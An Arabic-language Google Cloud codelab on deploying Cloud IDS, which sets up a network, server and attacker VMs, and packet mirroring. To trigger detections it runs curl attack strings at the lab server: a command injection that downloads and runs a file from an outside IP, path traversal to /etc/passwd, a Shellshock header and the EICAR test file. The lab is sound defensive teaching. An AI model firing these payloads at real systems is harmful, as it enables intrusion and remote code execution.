Cloud IDS

1. مقدمة

في هذا التمرين المعملي، يمكنك نشر نظام كشف التسلل من الجيل التالي، وهو خدمة متطورة لكشف التسلل توفر لك الكشف عن التهديدات بهدف الكشف عن عمليات التسلّل والبرامج الضارة وبرامج التجسس وهجمات الأوامر والتحكُّم. سيكون بإمكانك محاكاة عدة هجمات وعرض تفاصيل التهديد في Cloud Console.

المعلومات التي ستطّلع عليها

  • كيفية إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud
  • كيفية إنشاء جهازَين افتراضيَين باستخدام أوامر gcloud
  • كيفية إنشاء سياسة النسخ المطابق للحِزم
  • طريقة محاكاة حركة المرور الهجومية من جهاز افتراضي
  • كيفية عرض تفاصيل التهديد في Cloud Console وCloud Logging

المتطلبات

  • معرفة أوامر Linux الأساسية

2. حالات الاستخدام لنظام كشف التسلل (IDS) من Cloud

يوفّر نظام كشف التسلل Cloud خدمة كشف التسلل (IDS) من الجيل التالي الأصلية من Google Cloud للعملاء من أجل استيفاء المتطلبات المتقدّمة لرصد التهديدات والامتثال، مثل معيار PCI 11.4. وهذه الخدمة مدعومة بتقنيات الحماية من التهديدات التي تصدر من Palo Alto Networks، وذلك لتوفير نظام متقدّم للكشف عن محاولات التسلل. من خلال الجمع بين بنية Google Cloud الأساسية ذات المستوى العالمي والأمان العالي المستوى من Palo Alto Networks، يمكن للعملاء الحصول على مزيج لا مثيل له من خدمة رصد التهديدات المتقدّمة مُدارة بالكامل وأداءً عاليًا وأعلى كفاءة في الأمان.

ومع انتقال العملاء إلى السحابة الإلكترونية، يكون الأمان أوّل ما يخطر في بالهم. ويريدون الحصول على عناصر التحكم في الأمان المماثلة التي يستخدمونها داخل الشركة، مثل خدمة كشف التسلل (IDS) في السحابة الإلكترونية. ويفضّلون بشدة استخدام حل نظام كشف التسلل (IDS) المُدار من خلال السحابة الإلكترونية، وذلك لسهولة النشر وتعزيز الأداء والتكلفة المحسّنة مقارنةً بنشر حل أمان من جهة خارجية وإدارة البنية الأساسية أو توفير توقيعاتهم الخاصة. توفّر "نظام كشف التسلل" (IDS) من Google Cloud خدمة نظام كشف التسلل المُدارة شاملة التطوّر تلقائيًا، ما يتيح للعملاء قضاء وقتهم في تحليل التهديدات والحدّ منها، بالإضافة إلى توفير الوقت والموارد لإدارة البنية الأساسية أو توقيعات التهديدات.

يتم نشر نظام كشف التسلل Cloud خارج النطاق ويمكنه رصد التهديدات والتنبيه عليها، ولكن لا يمكنه حظر التهديدات. تستفيد هذه الخدمة من النسخ المطابق لحزمة Google Cloud لإنشاء نسخة من حركة بيانات الشبكة التي يتم تحليلها باستخدام محرك كشف التهديدات في شبكة Palo Alto.

3- طوبولوجيا الدرس التطبيقي حول الترميز

5a276f399e1d31e2.png

الشكل 1. نظرة عامة عالية المستوى حول كيفية نشر نظام كشف التسلل (IDS) على السحابة الإلكترونية في هذا التمرين المعملي.

4. الإعداد والمتطلبات

إعداد بيئة ذاتية

  1. سجِّل الدخول إلى Google Cloud Console وأنشئ مشروعًا جديدًا أو أعِد استخدام مشروع حالي. إذا لم يكن لديك حساب على Gmail أو Google Workspace، عليك إنشاء حساب.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • اسم المشروع هو الاسم المعروض للمشاركين في هذا المشروع. وهي سلسلة أحرف لا تستخدمها Google APIs، ويمكنك تحديثها في أي وقت.
  • يجب أن يكون رقم تعريف المشروع فريدًا في جميع مشاريع Google Cloud وغير قابل للتغيير (لا يمكن تغييره بعد ضبطه). تنشئ Cloud Console سلسلة فريدة تلقائيًا. فعادةً لا تهتم بما هو. في معظم الدروس التطبيقية حول الترميز، يجب الرجوع إلى رقم تعريف المشروع (والذي يتم تحديده عادةً على أنّه PROJECT_ID). لذلك، إذا لم يعجبك، يمكنك إنشاء رقم تعريف عشوائي آخر، أو يمكنك تجربة رقم تعريف المشروع الخاص بك ومعرفة ما إذا كان متاحًا. بعد أن يصبح "مجمّد" بعد إنشاء المشروع.
  • هناك قيمة ثالثة، وهي رقم المشروع الذي تستخدمه بعض واجهات برمجة التطبيقات. اطّلِع على مزيد من المعلومات حول هذه القيم الثلاث في المستندات.
  1. بعد ذلك، عليك تفعيل الفوترة في Cloud Console لاستخدام الموارد/واجهات برمجة التطبيقات في Cloud. إنّ تنفيذ هذا الدرس التطبيقي حول الترميز لن يكون مكلفًا أو مكلفًا على الإطلاق. لإيقاف تشغيل الموارد حتى لا تتحمل الفوترة بعد أكثر من هذا البرنامج التعليمي، اتبع أي عملية "تنظيف". التعليمات الموجودة في نهاية الدرس التطبيقي حول الترميز. يكون مستخدمو Google Cloud الجدد مؤهَّلون للانضمام إلى برنامج فترة تجريبية مجانية بقيمة 300 دولار أمريكي.

بدء Cloud Shell

مع أنّه يمكن إدارة Google Cloud عن بُعد من الكمبيوتر المحمول، ستستخدم في هذا الدرس التطبيقي Google Cloud Shell، وهي بيئة سطر أوامر يتم تشغيلها في السحابة الإلكترونية.

من وحدة تحكّم Google Cloud Platform، انقر على رمز Cloud Shell في شريط الأدوات العلوي الأيسر:

bce75f34b2c53987.png

من المفترَض أن تستغرق عملية إدارة الحسابات والاتصال بالبيئة بضع لحظات فقط. عند الانتهاء، من المفترض أن يظهر لك شيء مثل هذا:

f6ef2b5f13479f3a.png

يتم تحميل هذه الآلة الافتراضية مزوّدة بكل أدوات التطوير التي ستحتاج إليها. وتوفّر هذه الشبكة دليلاً رئيسيًا دائمًا بسعة 5 غيغابايت وتعمل على Google Cloud، ما يحسّن بشكل كبير من أداء الشبكة والمصادقة. يمكنك تنفيذ كل أعمالك في هذا التمرين من خلال متصفح.

5- قبل البدء

تفعيل واجهات برمجة التطبيقات

داخل Cloud Shell، تأكَّد من إعداد رقم تعريف مشروعك.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

تفعيل جميع الخدمات اللازمة

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6- إنشاء شبكة VPC

شبكة VC

من Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

الشبكة الفرعية

من Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

الوصول إلى الخدمات الخاصة

من Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

اتصال خدمة خاصة

من Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

قواعد جدار الحماية

للسماح لعمليات الشراء داخل التطبيق بالاتصال بمثيلات الأجهزة الافتراضية، أنشِئ قاعدة جدار حماية تعمل على:

  • ينطبق ذلك على جميع مثيلات الأجهزة الافتراضية التي تريد أن تتوفّر إمكانية الوصول إليها من خلال استخدام الشراء داخل التطبيق.
  • يسمح بالزيارات الواردة من نطاق IP 35.235.240.0/20. يحتوي هذا النطاق على جميع عناوين IP التي يستخدمها بروتوكول IAP لإعادة توجيه بروتوكول التحكم بالنقل.

من Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

للسماح بمنفذ HTTP القياسي (TCP 80) وبروتوكول ICMP للخادم:

  • يتم تطبيقه على الموارد التي تحتوي على علامة الشبكة "الخادم"
  • يسمح بدخول البيانات من جميع المصادر.

من Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

إنشاء مثيل Cloud NAT

جهاز توجيه السحابة الإلكترونية

من Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

من Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud

في هذا القسم، يمكنك إنشاء نقطة نهاية لنظام كشف التسلل Cloud في us-east1، مع ضبط درجة الخطورة على "معلوماتية". يستغرق إنشاء نقطة نهاية نظام كشف التسلل 20 دقيقة تقريبًا.

نقطة نهاية نظام كشف التسلل

من Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

التأكّد من بدء نقطة نهاية نظام كشف التسلل (IDS) من Cloud

gcloud ids endpoints list --project=$PROJECT_ID

الإخراج -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. إنشاء جهازَين افتراضيَين

في هذا القسم، يمكنك إنشاء جهازَين افتراضيَين. سيكون الأول هو خادم الويب الذي يوفر نسخة مطابقة لنظام كشف التسلل (IDS) من Cloud. سيكون الجهاز الافتراضي الثاني هو مصدر الزيارات الهجومية.

الجهاز الافتراضي 1 (الخادم)

من Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

الجهاز الافتراضي 2 (العميل)

من Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. جارٍ تحضير الخادم

في هذه المهمة، ستتحقق من صحة خادمك وستوفر حمولة بيانات أساسية ضارة لبرامج ضارة لعميلك.

بروتوكول النقل الآمن (SSH) إلى الجهاز الافتراضي (VM) من خلال Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

التأكّد من أنّ خدمة الويب قيد التشغيل

sudo systemctl status nginx

الإخراج - التحقق من حالة النشاط والتشغيل

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

تغيير الدليل إلى خدمة ويب

cd /var/www/html/

إنشاء ملف برامج ضارة غير خطير على خادم الويب

sudo touch eicar.file

لصق المحتوى

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

الرجوع إلى CloudShell

exit

إنشاء سياسة النسخ المطابق لحِزم نظام كشف التسلل (IDS)

حدِّد قاعدة إعادة توجيه نقاط النهاية لنظام كشف التسلل وتأكَّد من أنّ حالة نقطة نهاية نظام كشف التسلل هي "READY".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

مثال على الإخراج - انسخ القيمة من "endpointRedirectRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

احفظ قاعدة إعادة توجيه نقاط النهاية لنظام كشف التسلل إلى متغيّر.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

سياسة النسخ المطابق للحزمة

من Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

التأكّد من إنشاء سياسة النسخ المطابق للحِزم

من Cloud Shell

gcloud compute packet-mirrorings list

الناتج

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. محاكاة حركة المرور الهجومية

بروتوكول النقل الآمن (SSH) إلى الجهاز الافتراضي للمهاجم (العميل)

من Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

يمكنك تنفيذ طلبات التجعيد التالية لمحاكاة حركة البيانات الضارة.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

الخروج من الجهاز الافتراضي للرجوع إلى CloudShell

exit

11. مراجعة التهديدات التي تم رصدها من خلال نظام كشف التسلل (IDS) من Cloud

الانتقال إلى لوحة بيانات نظام كشف التسلل (IDS) من Cloud

قائمة التنقل > أمان الشبكات > نظام كشف التسلل Cloud

37583419aa604aa8.png

انتقِل إلى علامة التبويب "التهديدات".

b7d934f409b4e2b.png

وكما ترى، استطاع نظام كشف التسلل من السحابة الإلكترونية تسجيل ملفات شخصية متنوعة لحركة المرور الهجومية وقدم تفاصيل عن كل تهديد. قد تحتاج إلى النقر على زر "إعادة التحميل" إذا لم تظهر لك أي تهديدات. سنتناول الآن بمزيد من التفصيل ونعرض تفاصيل التهديد.

حدِّد موقع "الثغرة الأمنية تنفيذ رمز Bash عن بُعد" التهديد وانقر على النقاط الثلاث في يسار الشاشة واختَر "عرض تفاصيل التهديد"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

سنطّلع الآن على تفاصيل هذه الحادثة في Cloud Logging. يمكنك العودة إلى صفحة "التهديدات" من خلال النقر على سهم التأشير الأيسر .

انقر على النقاط الثلاث على يسار الشاشة واختَر "عرض سجلات التهديدات".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

يتم توفير التفاصيل نفسها لتسجيل الدخول إلى السحابة الإلكترونية. ويتيح لك ذلك إرسال السجلّات إلى Cloud Storage أو Chronicle أو أيّ نظام SIEM/SOAR. يمكنك أيضًا إنشاء مهام سير عمل مخصّصة لاتّخاذ إجراءات تصدير البيانات الناقصة استنادًا إلى تنبيهات، مثل: إنشاء دالة سحابة إلكترونية يتم تشغيلها عند تنبيه وإنشاء أو تعديل قاعدة جدار حماية لحظر عنوان IP أو إنشاء أو تعديل سياسة Cloud Armor

12. خطوات التنظيف

الخروج من مثيل الجهاز الافتراضي (كل علامات التبويب)

exit

حذف مكونات التمرين المعملي من وحدة طرفية واحدة في Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. تهانينا!

تهانينا على إكمال الدرس التطبيقي حول الترميز.

المواضيع التي تناولناها

  • حالات الاستخدام لنظام كشف التسلل (IDS) من Cloud
  • متطلبات الشبكة
  • واجهات برمجة التطبيقات المتوافقة
  • تم إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud
  • تم نشر جهازَين افتراضيَين (VM).
  • تسبّب في "هجوم" الزيارات الواردة من العميل
  • رصد نظام كشف التسلل التهديدات التي تم التحقّق منها.
  • مراجعة تفاصيل التهديد وسجلّاته